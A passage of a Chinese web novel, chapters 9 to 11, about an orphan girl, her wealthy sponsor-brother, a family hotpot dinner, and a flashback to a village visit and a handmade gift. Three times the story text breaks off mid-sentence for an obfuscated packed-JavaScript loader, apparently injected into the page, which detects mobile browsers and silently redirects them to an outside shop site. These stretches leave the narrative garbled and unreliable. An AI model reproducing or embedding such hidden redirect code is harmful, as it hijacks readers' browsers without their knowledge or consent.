他不知怎么从村长那里得知,小孩曾经为了一只野兔,在家里闹得天翻地覆,哭了整整一晚上,后面好几天连声音都发不出来,开车路过宠物市场时,就去买了一只宠物兔给她玩。 那会儿,村长应该是想当玩笑来说给周燕北听。 他却用非常认真的语气告诉单潆:“从今天开始,你想养什么都可以。这里会是你的家。” 单潆满怀感激,不假手于人地把它养到现在。 可她却一直都没有给它取名字。 取了名字,仿佛就是将它视作了生命中的一份子,令它拥有了承载自己喜怒悲欢的意义,成为生活里某个不可或缺的“家人”。 童年阴影太过残酷。 她已经无法再经历一次失去家人的感觉了。 …… 幸好,赵沛沛只是在和单潆随口闲聊,完全没打算追根溯源。 她起身走到阳台边,撑着边沿朝外望去。 “好久没看到这里的风景了。”赵沛沛深吸一口气,笑道,“时间过得真快啊。” 单潆眨了眨眼,听出她的言外之意,轻声问道:“沛沛姐以前也来过吗?” 赵沛沛转过头看她,笑眯眯地点头,“是啊,来过几次。这间以前是休闲室吧?我记得我和你哥哥、还有庄靳开始创业的时候,还一起在这里喝过酒拍过照呢。” 说着,她掏出手机,垂眸翻找了一会儿。 找出一张照片后,拿给单潆看。 单潆接过手机,看了一眼。 屏幕上是他们三个人的合照,拍照地点就是这个阳台。 照片背景里的高楼和现在稍有不同,应该是早些年拍摄的。 赵沛沛给她解释说:“这个应该是三……四年前?那时候周燕北应该只有大一还是大二吧?我们是在风投公司实习的时候认识的,我正在经历职场骚扰,他帮了我,教训了那个甲方的小领导,害得公司丢了个大单子。我们俩被双双扫地出门,干脆决定一起创业。” 周燕北家有钱有人脉,庄靳家有资源,赵沛沛又是敢想敢拼的性格,做事很有冲劲,也有责任心。 三人商量了一下,一拍即合,准备一起做点事业,赚点零花钱。 有家里托底,再加上他们仨都有能力,竟然也这么磕磕绊绊地做了下来。 这两年公司跟着政策搞了几个项目,以小博大,几乎全都好生赚了一大票。 “……哦,哦,原来是这样啊。” 单潆咬了咬唇,垂下眼,闷闷应声。 她还是第一次听到这些。 不仅仅是突然出现的赵沛沛,还有周燕北和庄靳他们一起创业的事,她全都没听说过。 周燕北从来不会对她说起这些。 好像,周燕北知道她人生里的一切,包括养宠物这样的小事。而自己对他的了解却非常表面,甚至称得上稀少。 这么多年过去,从云水到海城,两人之间的距离一点点拉近。 如今,明明已然近在咫尺,却又好像从来不曾靠近分毫。 周燕北似乎依旧是那轮高不可攀的冷月。 为了靠近他,单潆走了一万公里,走过高山沧海,却依然走不进他的星系。 只能永生永世地抬头遥望。 9.09 两人似乎聊得有些过久。 终于,周燕北上来敲门,“你们俩在干什么呢?火锅好了。” 天气冷,加上家里难得人多,在庄靳的强烈要求下,保姆阿姨为他们准备了火锅。 这会儿功夫,锅底已经差不多煮开,即将沸腾。 牛肉和配菜之类也悉数洗好切好备在盘中,只等几人下楼去涮煮。 赵沛沛“哇”了一声,“吃火锅啊?我喜欢!” 说着,她已经率先回到房间,“蹬蹬蹬”跑到房门口,停在周燕北旁边一顿,问道,“不走吗?” 周燕北:“师姐你先下去吧。” “哦,行。” 赵沛沛没多问,回头朝着单潆遥遥一笑,“阿潆妹妹也快点下来吧。要是来晚了,我们可就不等你们俩了。” 很快,她的脚步声渐行渐远,直至消失在楼梯下。 卧室里只剩下兄妹俩四目相对。 周燕北余光瞥见床上的大衣外套,率先开口:“衣服试过了吗?大小合适吗?” 单潆点点头,轻声说:“很好看,合适的。” 得到肯定答案,周燕北笑起来,“那怎么我们阿潆看起来还是不太高兴的样子?” “……” 哪能高兴得起来呢? 单潆垂下眼,倏忽间,想到刚刚自己还傻乎乎地给赵沛沛拿拖鞋,只觉得这举动真是傻得可笑,简直能堪称自作多情。 赵沛沛是周燕北的旧友,是在她不知道的时候,就已经拜访过这个“家”的人,有着她无法介入的经历。 分明比她还熟悉这里,哪还用得上她客气什么。 单潆咬了咬唇,回过神来,低声否认道:“没有不高兴。我在想补课的事情。哥哥,我们也快点下去吃火锅吧,都好久没吃了。” 小孩总是厌烦补课的。 这个借口确实弥足能令人信服。 周燕北深以为然,颔首,“好。” 话虽如此,他却没有先走,而是在门边等了会儿,等着单潆“哒哒哒”小跑着向他而来。 别墅走廊够宽,两人并肩走也不拥挤局促。 沉默须臾,单潆主动开口问:“哥哥,你的船拼好了吗?” 最近这两周,周燕北都在拼乐高刚出的新款。 成品是一艘黑色大船。 他习惯先把小零件拼好起来,最后一起组合起来。今天早上已经拼到了船体,只要把部件全部和主体组装上,就能大功告成。 周燕北“嗯”了一声,“差不多了。” 单潆:“这次能不能不要放到杂物间?” 闻言,周燕北轻笑,低头看向她,“你想要?” “嗯,这个船我还蛮喜欢的。很酷。” “那等全拼好就拿给你。” “好啊,谢谢哥哥。” 单潆真心实意地笑起来。 总算,她也有独属于自己的、周燕北生活里的一部分。 “这有什么好道谢的?”周燕北揉了揉她的头,像个温柔又完美的哥哥,“阿潆,你是我妹妹,无论你想要什么,都能得到。” 话音甫一落下。 刚刚好,单潆的脚尖碰到了一楼的最后一格台阶。 不早半分,也不迟半分。 庄靳已经坐在桌边和赵沛沛闲聊,一抬头就瞧见了他们俩,连忙摇手,“阿潆!快来快来!就等你了!” 周燕北:“不等我?” 庄靳夸张地撇了撇嘴,反问:“你是谁,很重要吗?” 周燕北:“这里是我家,请滚。” 庄靳:“我是阿潆妹妹的客人,只有她让我滚我才会滚。” “……” 赵沛沛哈哈大笑,“你们俩还是这么幽默啊。今年春晚没你们我不看。” 说话功夫,单潆他们也已经面对面落座。 赵沛沛坐在单潆旁边,顺手拿了干净的碗筷给她,亲切地问了一句:“妹妹喜欢吃什么?” “我都可以……” 下一秒,周燕北懒洋洋的声音从旁响起:“肉。给她吃肉。” 单潆:“……” 说起来还是之前的一桩趣事。 当初单潆刚来海城,当即被这里的繁华富庶迷花了眼睛。只觉得看什么都新鲜,一切全都是未曾体验过的陌生感觉,令人兴奋又茫然无措。 因为,她内心依旧是白云村那个父母双亡的贫穷小孩,乍然被捧到了天宫里,有点飘飘然,又觉得毫无安全感,好像随时随地都会砸落回地面。 想来想去,失去大别墅和新衣服没什么大不了的,但离开周燕北之后,要想再和他产生交集,似乎就会变得无比艰难。 那一阵,单潆处处小心翼翼,说话做事谨小慎微,吃饭的时候连肉都不敢夹,生怕自己吃得太多,惹得周燕北不高兴,直接把她送走,再无关照和联络。 这种感觉,就好像回到了两人初见时。 就算是一碗泡面,对她来说也是无比珍贵的,是需要看人脸色的存在,不能随便吃。 周燕北很快发现了她的异常。 下一顿,餐桌上出现了五盘肉菜。 海城人的生活是很小资精致的,吃饭也讲究,哪怕是两个人吃饭,也顿顿要四菜一汤,两荤两素搭配好。 但在周燕北示意后,阿姨把每顿的四个菜,全都变成了大鱼大肉。 水煮鱼、水煮肉片、红烧肘子、辣椒炒牛肉……等等等等。 这么三四天下来,总算把单潆时时刻刻的谨慎给拗了回来。 周燕北告诉她:“阿潆,我既然把你带到这里,就会一直管你,不会再把你送回去的。放心吧,几片肉还吃不穷我们家。你周叔叔还算会赚钱,咱们每天吃澳龙也没问题。知道了吗?” “知道了。” …… 往后再提起这件事,单潆也不再那么敏感,已经能轻松地当做笑谈来说了。 譬如此时此刻。 她知道周燕北在开玩笑,抬眸,假意嗔怒地瞪他一眼。 周燕北朝她挑了下眉,桃花眼中盈了笑意。 赵沛沛不清楚前因后果,只当小姑娘是真的喜欢吃肉。等锅底“咕嘟咕嘟”沸腾起来后,从庄靳筷子底下一连抢来好几块牛肉夹给她。 “……谢谢沛沛姐。” “客气什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987643|193287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这也是借花献佛了。” 闲聊就此几近尾声。 这时,三人才开始说起正经事。 赵沛沛今天特意过来,是来找周燕北商量一个合同条款。 合同是周五就已经寄来的,关于公司明年第一季度的一笔投资,也是最重要的一笔,签完之后就算是板上钉钉。 钱打过去,只等对方做出点成绩。 转手卖掉之后,就能抽点双赢。 原本三人都认可这个项目。 行业说不上有多大前景,大概率也还能坚持两三年,足够他们赚到钱。 但赵沛沛心细,重新检查合同的时候,发现了其中某条条款的漏洞。 这个漏洞在对方盈利的时候没什么影响,要是投资失败,就有可能牵扯到他们。 所以她连早饭都没顾得上吃,立马找庄靳和周燕北当面谈。 赵沛沛:“……改合同的话年前估计来不及了,对方公司的法务很难搞。而且之前还有另一家风投看中他们,他们虽然缺钱,但有备选,姿态肯定很高,不好对付。你们怎么看?” 周燕北沉吟片刻,摇头。 “必须改。” 庄靳也是这个看法,“钱可以不赚,但不能亏。” 赵沛沛摊手,“要是谈崩,那咱们公司明年的计划又要重新来过了。” 庄靳:“也不差这一个两个项目咯,别急,过年的时候我去找我家老头问问,看看有没有更靠谱的项目能投的。” 闻言,赵沛沛忍不住笑起来。 “看看看看,这就是富二代的底气。那我这种小虾米,明年就继续仰仗两位土豪吃饭喽!” 说着,她举起装着可乐的水杯,“来干个杯吧!希望新一年能顺顺利利!” 另外两人也跟着举杯。 “阿潆呢?快来干杯啊!” 庄靳看向单潆,“顺便再说点什么祝酒词咯!明年有什么想要实现的愿望,让你哥好好听听。” “……” 全程,单潆一直在边吃边听他们聊天。 虽然她听不明白,但是却可以清楚感受到赵沛沛的魅力。 她反应快,脑子很灵活,也有主见。 就算是对着两个更有资源的合伙人,依然能不卑不亢,有条理地发表自己的观点。 看得出来,周燕北和庄靳都会仔细考虑她的想法。 倏忽间,单潆突然意识到,或许,只有赵沛沛这样的女人,才能和周燕北并肩而行。 赵沛沛不是他的“妹妹”,不需要他方方面面地照顾。 而他肯定会欣赏她。 这种感觉真令人羡慕。 因着胡思乱想,单潆的反应就迟了一拍。 回过神,见三人都已经在等她,才忙不迭地放下筷子,举起杯和他们几个人碰到一起。 她想了想,说:“那就祝新一年……大家都平安健康。干杯。” 另外,希望她的成绩也能好起来,变得优秀,不让周燕北操心。 如果能和赵沛沛一样厉害,令他刮目相看,那就最好不过了。 单潆在心里补充道。 “干杯!” 10.10 新周一。 清晨,周燕北要回学校,顺路开车送单潆一起去上学。 周家别墅距离海实高中部校区并不远,因着是从市中心往外开,属于是逆着早高峰车流行驶,路上不怎么堵。 很快,黑色大G稳稳停在学校门口。 “我到啦,谢谢哥哥。周五见。” 说完,单潆戴上围巾,准备下车。 海城实验是私立学校,大部分学生都有些家底。每逢上学放学时间,校门口停着接人的豪车不止一二。 这大G也不算显眼,至少能让人没甚负担。 不过,在单潆推开车门前一秒,倏地,被周燕北喊住。 “阿潆。” 单潆动作微微一顿,扭脸看向他,有些疑窦,“哥哥?怎么了?” 两人对上视线。 周燕北眉眼含着笑意,是一贯的温润随性模样。 唯有指腹轻轻敲击着方向盘,像是在耐心思忖着什么。 眨眼,他开口问道:“怎么没穿我送你的外套?” 单潆愣了愣,“……学校规定要穿校服呀。” 海实有冬季校服,不过就是普通棉混纺材质,御寒能力有限。 寒冬腊月时,学生会在校服里再穿一件羽绒内胆。 海城到底只是南方沿海城市,海风再呼啸凛冽,不比北方那样要冷到零下,这样就足矣。 更何况,那件大衣的价格似乎要小几万,单潆哪里舍得穿到学校里折腾,早已小心翼翼地套上防尘袋,挂在衣橱里,细心保存起来。 周燕北“嗯”了一声,淡声嘱咐道:“现在天黑得早,晚上放学风又大,校服外面多穿一件没关系的。” 那天去开家长会,他看单潆一直缩着脖子,脸颊也冻得发红,看起来弱不禁风,模样很是惹人心疼,便打心底觉得她穿得过于单薄。 后来,周燕北兀自回忆了一下,去年冬天,单潆应是刚来海城半年,好像还有点怯懦,确实不曾提出过要买新衣服的事。后来是他拜托庄靳去选了几件适合小姑娘的冬装,大衣毛衣打底各式各样,一应俱全,一起拿给了单潆换着穿。 庄靳对女装的浅薄审美,大多从他历任女朋友身上汲取而来。 放到一个高中生身上,大抵稍稍有些成熟隆重,不那么适合穿去学校。 平常,周燕北没有打量女人穿衣风格的爱好。 但那天目光划过赵沛沛,当即觉得她身上那件外套不错,看起来相当保暖。 于是,他特意问来了品牌名字,周五开车去专柜绕了一圈。 导购小姐送来当季新款手册,周燕北漫不经心地翻了两页,一眼就看中了这件鹅黄色羊角扣大衣。 无论是风格还是款式,看起来就像是给单潆量身定制的。 羊角扣……在高中生中应该还不算老土过时? 马路上好像也有学生在穿。 周燕北如此随意地思索着。 但行动倒是比脑子快上许多拍,连价格都没问,当场就买单付款,把它拎回了家。 没想到这小孩看起来不太领情,从始至终都有点兴致缺缺。 先前,庄靳一直评价周燕北,说他面热心冷,表面看起来温柔无害的绅士模样,实则对谁都很冷漠,且控制欲爆棚,难以忍受任何事情没有按照他设想的发展后的失控。 收礼的人不喜欢自己选的礼物,这能算失控吗? 周燕北不置可否。 只像寻常那样关照了单潆一句。 没想到,单潆听完却明显怔了怔,狐疑地望向周燕北。 静默半晌,才轻声道:“我知道了。” 见状,周燕北似笑非笑地挑了下眉,“怎么这个表情?” 单潆:“就是……你为什么突然送我礼物呢?明明我上次考得不太好。” 而且貌似还很重视的样子。 几天里一连问起好几次。 事实上,在周燕北那里,对单潆,其实没什么很明显的奖惩制度。 他给她花钱的时候从来不会斤斤计较,吃穿用度,总是挑好的买给她,零花钱也比班上其他同学家给得更多,还千叮咛万嘱咐让她别太节省,别总想着替他省钱。 在这个方面,舒黛一直很羡慕单潆,说她完全是公主的待遇。 周燕北这个哥哥,方方面面都做得比亲哥哥更好。 因而,单潆才更加觉得奇怪,这份礼物有什么特殊意义吗? 听她这么问,周燕北含混不清地“唔”了一声。 因为实在不好说他一眼相中的、觉得很配她的衣服不得她心意,叫人有点意难平。 于是,他便随口敷衍道:“冬季礼物,每年都有的,你忘了?以前不是说最喜欢冬天吗?” “……” 单潆眼睛亮了亮,刹那间,脸上露出了无比惊喜的神色,“……哥哥,原来你知道。” “嗯。” - 单潆6岁那年,人生发生了巨变。 父母在地震中双双去世,差点上不了学。 而后,周燕北出现,瞬间又将她的生活掰回了正轨。 得到资助,单潆得以按部就班地去读书。 每年,周家捐的钱准时汇到村支书的账户上。 同时,村长也会去镇上,将他们这些学生的成绩和近况寄到周燕北留下的地址那边去。 老村长年纪大,搞不懂那些什么e-mail、Q.Q之类的新鲜玩意儿,一直是用的邮政挂号信。 后来村里通了电,也建了基站通网,智能手机飞快普及。 老头儿不知道怎么想通了,与时俱进改成了发邮件,由他儿子帮忙拍照上传。 联络通信没断,但周燕北他们家再也没来过人。 直到单潆小学四年级那年寒假。 她至今仍旧记得,那是一个很冷的冬天。 云水的地理位置和海城不同,四周没海,冷但不湿,冬天多穿几件就能扛过去,不会冻得人瑟瑟,好像骨头缝都冒着寒气。 但那个冬天,却是出人意料地寒冷。 家里没暖气,小单潆穿着厚厚的棉衣,依旧冻得手脚冰冷。 写寒假作业时,连笔都有些握不住,不得不暂时放弃,先躲到厨房里,蹭着灶台烤火取暖。 表婶在做饭,看不得她这样清闲,指挥她去洗碗。 哪怕单潆马上就动了起来,她嘴里还是少不了嘀嘀咕咕:“……每天伺候你们这几个孩子,没给你们少吃少穿的,家里这么穷还供着你们,你这小孩怎么一点眼力见都没,闲着也不会帮着大人做做事啊?” “……” 这种絮叨,小单潆已经习以为常,连眼神都没露出丝毫尴尬难堪,只是低头自顾自地刷着锅,对表婶的冷眼完全视若无睹。 不过,她还是忍不住在心里腹诽了一句,哪里是她供的,明明是周燕北给的。 按照当初谈好的资助协议,周家不仅给他们这些孩子提供必要的学业支出,每个月还有固定生活费补助。 单潆一年四季所有的衣服鞋子,都是用这笔钱买的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002778|193287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>包括现在固定跟着表叔表婶家一起吃饭,全家人的餐食费,大多数也是从周家那里来。 要不是她固定将部分生活补助费上交,以表叔表婶的为人,现在估计连杂物间都不会让她呆,还谈什么“不少吃不少穿”呢? 真是可笑。 单潆暗自叹了口气,背脊却不由自主地绷紧。 没过多久,表婶离开厨房,骂骂咧咧地转头去叫表哥起床,将空间悉数让给单潆一人。 她这才垮下肩。 等收拾完,表婶还没回来,单潆目光四下转了转,蹲下.身继续生火。 下一秒。 外头突然喧闹起来。 不是他们家,而是整个白云村,不一会儿,好像都一点点慢慢地“活”了起来。 各处都有人在说话,像是这个小村子里突然发生了什么大事,引得村民都出来看热闹。 柴火燃烧,在耳边发出“啪”、“啪”的声响。 单潆听不清楚外面的动静,只觉得似乎有汽车在渐渐靠近。 迟疑片刻,她轻手轻脚地起身,熟门熟路地抄小路往村长家方向走去。 果然,村长家房子外头已经聚集了不少人,里三层外三层,将路堵得严严实实。 单潆只能看到人头攒动,踮起脚尖,都看不清里面在干嘛。 但她听到了前面几个阿姨的议论。 “周老板他们又来了吗?” “好像是诶。” “马上要过年了,这么冷,也不知道这回老板来咱们这个小地方做什么……” “估计就是来看看这个路,修好之后他们都没来看过吧?” “肯定不是,我刚刚看到了,只有周老板的儿子下车。” “他们家都是好人呐,怪不得发大财……” “……” 单潆心口重重一跳。 居然,是周燕北来了?! 她顾不上继续偷听,连忙缩成一团,凭借瘦小的体型,开始往人群里挤,三两下就挤到了最前面。 村长家门口果然停着一辆车。 不过,单潆不记得是不是之前那辆,只觉得这车又高又大,看着就十分昂贵。 她没有细想,头也不回地窜进了村长家。 …… 此时,周燕北正坐在村长家的堂屋里。 四年过去,他已经16岁,翻过年就要参加中考,眉眼间青涩的模样褪去,五官变得更加精致优越,是个俊朗的小少年了。 周燕北这回来白云村,也是因为周父的要求。 庄靳要去念美高,非缠着几个兄弟一起,前后已经游说了他们好几个月。 事实上,周燕北本人对出国兴趣不大。 不过他父母得知之后,有点如临大敌的意思,生怕几个大男生凑在一起不学好,又远在大洋彼岸无人管束,染上什么坏毛病。 在周父看来,出国读书没什么,但16岁年纪还太小,小孩心智尚未成熟,稍稍一点诱惑就有可能长歪。 不过,他倒也没有强硬地阻止,只是趁着放寒假,把他送到了云水来,让他看看自己用零花钱资助的这些孩子,现在过得怎么样,目前还有没有什么困难。 他对周燕北说:“既然你答应了帮助他们,那就要担负起责任来,无论什么时候都不能半途而废。” “……知道了。” 因此,这个寒风凛冽的寂寥冬日,周燕北的身影才会突兀地出现在这里。 像一道旭日暖阳。 照得单潆胸口发烫。 11.11 村长本在和周燕北说话,看到单潆匆匆忙忙地跑过来,赶紧将她拉过来,笑着和周燕北介绍道:“这就是那批孩子里成绩最好的小姑娘,又乖又努力,每次考试都是第一名。你们好像也见过的,不知道燕北你还记不记得。她叫单潆。” 顿了顿,又小声提醒说,“阿潆,快叫人啊,傻愣着干嘛呢。” 单潆连忙上前一步,开口:“哥哥!好久不见!” 她心中惊喜,语气自然也难掩兴奋。 “……” 实际上,第一眼,周燕北没能认出单潆。 两人本就只有一面之缘,中间间隔了四年之久,甚至当初还是两个小孩,都在见风就长的年纪里,一天一个样,能记得这件小事都算不容易了,更何况当场认出模样来。 不过,在听到这个名字后,他便很快反应过来。 “我记得。江水潆洄。” 用这个生僻字来做名,确实非常少见。 他目前只知道对面小姑娘一个。 没想到,短短一句话,立马令单潆眉开眼笑,整张脸都跟着亮了起来。 她难得响亮地应声:“对!” 周燕北看着她稚嫩的脸颊,蓦地,像是受到这份喜悦之情的感染,长途跋涉后的烦躁心情转好了不少。 他朝单潆招招手,示意她再靠近一些。 倏忽间,两人之间的距离,从相隔一万公里,变成只剩下半臂远。 不过咫尺之间。 单潆意识到这点,心脏在胸口“咚咚咚”,莫名地跳得快了几分。 她不敢一直盯着周燕北看,微微垂下眼睑,望着他的白球鞋,嘴唇翕动,小声嚅嗫:“哥哥,我有一直在好好学习,谢谢你愿意帮助我们。” 话音落下。 温暖的手掌轻轻覆到她脑袋上,揉了揉她因为营养不良而略有些稀疏的头发。 动作亲昵又自然。 “……” 猝不及防中,单潆愣愣抬起头,一时之间不知道该作何反应。 偏偏,周燕北自己也明显怔了怔。 手就那样顿在那里,都忘了收回。 “……” 两人大眼瞪小眼的,动作双双僵持停滞下来。 虽然好友庄靳已经谈过两只手都数不过来的女朋友,但周燕北家有他爸严防死守,且经常采用经济制裁的手段,对周燕北这个独生子管得十分严格,生怕他长歪。 所以,迄今为止的16年来,周燕北从来没什么“交往过密”的女孩。 哪怕收到过的、各式各样的、表白,几乎已经可以写成一本《告白词汇大全》。 自然,他也从来没摸过女生的头发。 这是第一次。 似乎没有什么心跳加速之类奇怪的悸动,周燕北看着眼前这个瘦弱矮小的小姑娘,还有她感激交杂着期盼的清澈目光,顷刻间,一种做人兄长的责任感油然而生。 确实是很新奇的感觉。 周燕北在家中同辈里是年龄最小的孩子,朋友圈子里也是,从来没给人当过哥哥,没想到竟然也不算太坏。 看来他家老头说得没错。 直至此刻,周燕北决定开始认同他爸的提议,要对这些孩子负责。 不能因为自己一时兴起改变了他人的人生,就这么搁置不管。 确定这件事后,他镇定下来。 顿了顿,才慢吞吞地收回手,冲着面前的小单潆温和一笑,“好久不见,阿潆。” …… 和上次一样,周燕北只在白云村停留两天。 也依然是借住在村长家。 云水县历经四年努力,已经进入了全面脱贫的最后阶段,条件明显比之前有所改善。 村里通水电网后,村长家进行过一次小小的翻修。 像热水和空调这种生活必需品,几乎全都已经装好。 周燕北是村里的贵客,村长家肯定是热情款待。想来,再不会有吃不惯食物饿肚子,还没水泡面的情况发生。 不过,晚饭结束,他还是独自跑出去,打算去单潆家看看。 循着稀薄的记忆,周燕北在小村子里绕了一圈,已然大概回想起单潆家的方位,应是距离溪边不远。 他调转方向,往水声潺潺处找。 山里没有高楼大厦和雾霾污染,一年四季的月光都十分明亮,连路灯都不太需要。 隔了老远,周燕北就看到一个瘦小的身影,正迎面朝他这里走来。 “……哥哥!” 16岁,周燕北的身高已经突破1米83。 距离他成年后定型的1米87,只剩下最后一点点生长空间。 而他也早就结束了变声期,原先沙哑的嗓子,变成了悦耳动听的少年音。 单潆倒是没多大变化。 除了个子长高了一些外,声音还和小时候一样清脆。 咬字柔和,尾音会有一点点上扬。 因为她总是低声讲话,有些怯懦,更显得脾气很软、很好欺负的样子。 周燕北有心纠正,但又觉得她这几声“哥哥”喊得挺好听,便轻笑一声,暗自作罢。 只站在原地,等着她“哒哒哒”小跑着加速冲过来。 柔顺的小辫绑在脑袋后面,随着她的步伐一跳一跳,像兔子的耳朵。 单潆确实是来找周燕北的。 只是没想到这么巧,会在路上就碰到他。 她怕周燕北将要休息,来的路上跑得急了些,停下脚步后依旧气喘不止。缓了好一会儿,呼吸才没那么急促,可以好好和周燕北说话了。 月光下,少年的脸比小时候更为英俊迷人,比学校里最风云最受人瞩目的小男孩好看一百倍。 不,是一万倍,还不止。 单潆忍不住在心里想。 不过,因着她半晌愣着脸没说话,周燕北主动开口问道:“你来找我吗?” 闻言,单潆回过神来,忙不迭点点头,“哥哥,这个送你。” 她将手上的盒子递到周燕北面前。 是双手奉上的恭敬姿势。 “……” 周燕北讶然挑眉,“这是什么?” 他只在被送情书的时候见过这种阵仗。 单潆今年多大? 白天村长说她小学四年级,应该是10岁吧。 现在连小学生都已经开始送情书了吗? 单潆年纪小,心思单纯,还不知道青春期少年的想象力能歪到哪里去。听到他问,自顾自地闷头解释起来:“这是我给你准备的礼物。哥哥,道谢不能只放在嘴上,我知道的。” 其他孩子都有爸爸妈妈表示,她谁都没有,只能靠自己。 上次没能捉只兔子送给周燕北,单潆郁闷了好久。 而后来抓来的小南,也早就进了表叔一家人的肚子。 哭过闹过,单潆只能另外想办法。 她不知道周燕北什么时候来、还会不会来,只能尽可能早早准备好。 就算他不再来村中,以后,等她长大了,离开云水,也要去找到他,再把礼物送给他。 “……这不是问谁要来的钱,也不是资助金里拿的。学校给成绩优秀的学生的奖励,我每年都拿,一点一点攒下来才买的。你不要嫌弃。” 单潆一字一句,如此认真地说着。 这份沉甸甸的质朴心意,从字里行间感染到了周燕北。 他敛起表情,郑重地接过那个巴掌大的小盒子,就着月光仔细打量起来。 盒子不沉,外面包了一层包装纸,是街边最常见的那种花样,花花绿绿的。 称不上有审美,但包得非常仔细,每一道褶皱都折得工工整整。 “现在可以打开看吗?还是回去再看?” 周燕北问。 没想到他会有兴趣,单潆有点受宠若惊,连忙说:“当然,当然,现在就可以看的。” 但在路上拆礼物似乎也不是那么方便,两人干脆转移阵地,一同去了溪水边。 经年而过,这条小溪倒是没多大变化。 不过因为上次是夏天,周边草木看起来更为茂盛,这次是冬季,四下有些光秃秃的,又没有人烟,平白显得凄清了点。 幸好,对孩子来说,“触景生情”这样的词语,尚未在人生里凸显出多少实质性的感慨。 和上次一样,他们还是捡了一块大石头当凳子,并肩而坐。 周燕北将那份礼物盒转了一圈,找到用胶水粘起来的边缘,顺着边一点点撕开,没把包装纸的整体破坏,拆下来还是完整一张。 单潆看见,忍不住惊叹:“哇!好厉害!” 周燕北挑了挑眉,轻笑一声。 旋即,指尖动了动,径直把盒子打开。 里面装了只手表。 是最常见的卡通表,黑色表带,皮质稍显劣质。 表盘上印着盗版米老鼠。 Disney还拼错了,拼成了“Disniy”。 周家有钱,周燕北从小接受的就是精英教育,一路双语学校念上来的。这种常见品牌名都不用细看,就能察觉不对。 不过,他并未对着单潆挑明,只是将手表放到自己手腕上,比划着戴了戴。 “怎么样?” 单潆眼睛又大又亮,炯炯有神地看着他,用力点头,“我觉得很好。哥哥,你喜欢吗?” 周燕北笑笑,“我也觉得很好。攒了多久钱?” “……差不多两年?” 单潆想了一会儿,回答得明显不太确定。 云水县整体都穷,镇小也没比白云村好多少,都是周围村里穷苦人家的孩子去念。 镇上批的款项有限,学校本身没有钱,设施和师资都不太好。 来支教的老师每年换一批,能留下来的一个都没有,也就几个本地的老师勉强支撑着。 因此,要说学校能给学生发多少奖励,那纯粹是天方夜谭。 出于鼓励的目的,学校规定,每学期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012859|193287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各届期末考第一名10元,第二名5元,第三名3元。现金可以替换成小奖品。 其他同学一般都会选奖品。 例如橡皮泥、卡通笔、水晶编绳之类的,都是可以立刻玩的东西。 只有单潆,每一次都选钱。 拿到奖学金的第一秒,就会把这笔钱藏好。 这个表是她早就看中的,一直挂在镇小旁边的杂货店里,因为价格偏高,要35块一只,一直没人去买。 杂货店老板说,这是名牌表,一个叫迪士尼的牌子。 他们马上就要在海城开一家游乐园,到时候肯定会有很多人买,所以不能降价。 唯有单潆真的听了进去。 她本来就觉得这个表很好看,很适合周燕北。 再加上听村长说,周家就在海城。两件事立刻就联系到一起。 所以,周燕北应该会喜欢的。 为了这份礼物,单潆一直在存钱。直到暑假前,终于存够,把它买了下来。 幸好没晚。 这次真的赶上了。 幸好,周燕北也真的喜欢。 在听完她说的之后,他把手表戴到了自己手上。 继而,温和地笑起来,“很合适。谢谢阿潆了。” …… 翌日午后。 周燕北收拾好随身物品,将要坐车离开白云村。 这次周父没来,村民和一个小少年也没什么好寒暄的。 前一天看热闹的人散开,剩下得到资助的人家,大多只到村长家打了个招呼,送了点中午吃的小菜,以及白云村盛产的茶叶,表达感谢。 周燕北吃不惯这里的口味,礼貌性地分别尝了尝,便起身打算道别。 “……这回来也给村长添麻烦了,总之,如果村里有什么需要帮助的,立刻联系我就好。我爸挺忙的,不一定管得上。” 他语气平平淡淡,却不敷衍,还主动把自己的手机号留给了村长。 老村长比四年前看起来更老了一点,也比四年前更感性。 听到周燕北这么说,忍不住老泪纵横,用力握住他的手,叠声道:“谢谢,谢谢,燕北,真的谢谢……” 周燕北:“不用客气。” 同老村长一家告别后,他走出村长家。 SUV就停在外面,司机已经发动了汽车,早早将车上暖气开足,只等周燕北上车。 不过,周燕北走到车边,却没立刻去拉车门,而是蹙着眉往路尽头望了几眼。 他明明记得,昨天晚上,自己告诉过单潆出发时间。 怎么今天一整天都没见她露面呢? 连出发前道个别都不打算来吗? 这小姑娘…… 周燕北心下有些好笑,不禁摇了摇头。 下一秒。 “哥哥!” 清脆的童声从远处响起,将他即将迈开步子的动作截断。 “……” 周燕北循声望去。 一个羸弱身影,正从远处朝他奔来。 今天,单潆原本一大早就要来找周燕北的。 只是早上刚起床,才知道表婶病了,家里没人做饭做家务,全都要由她来做。 等全都收拾好,就已经是这个点。 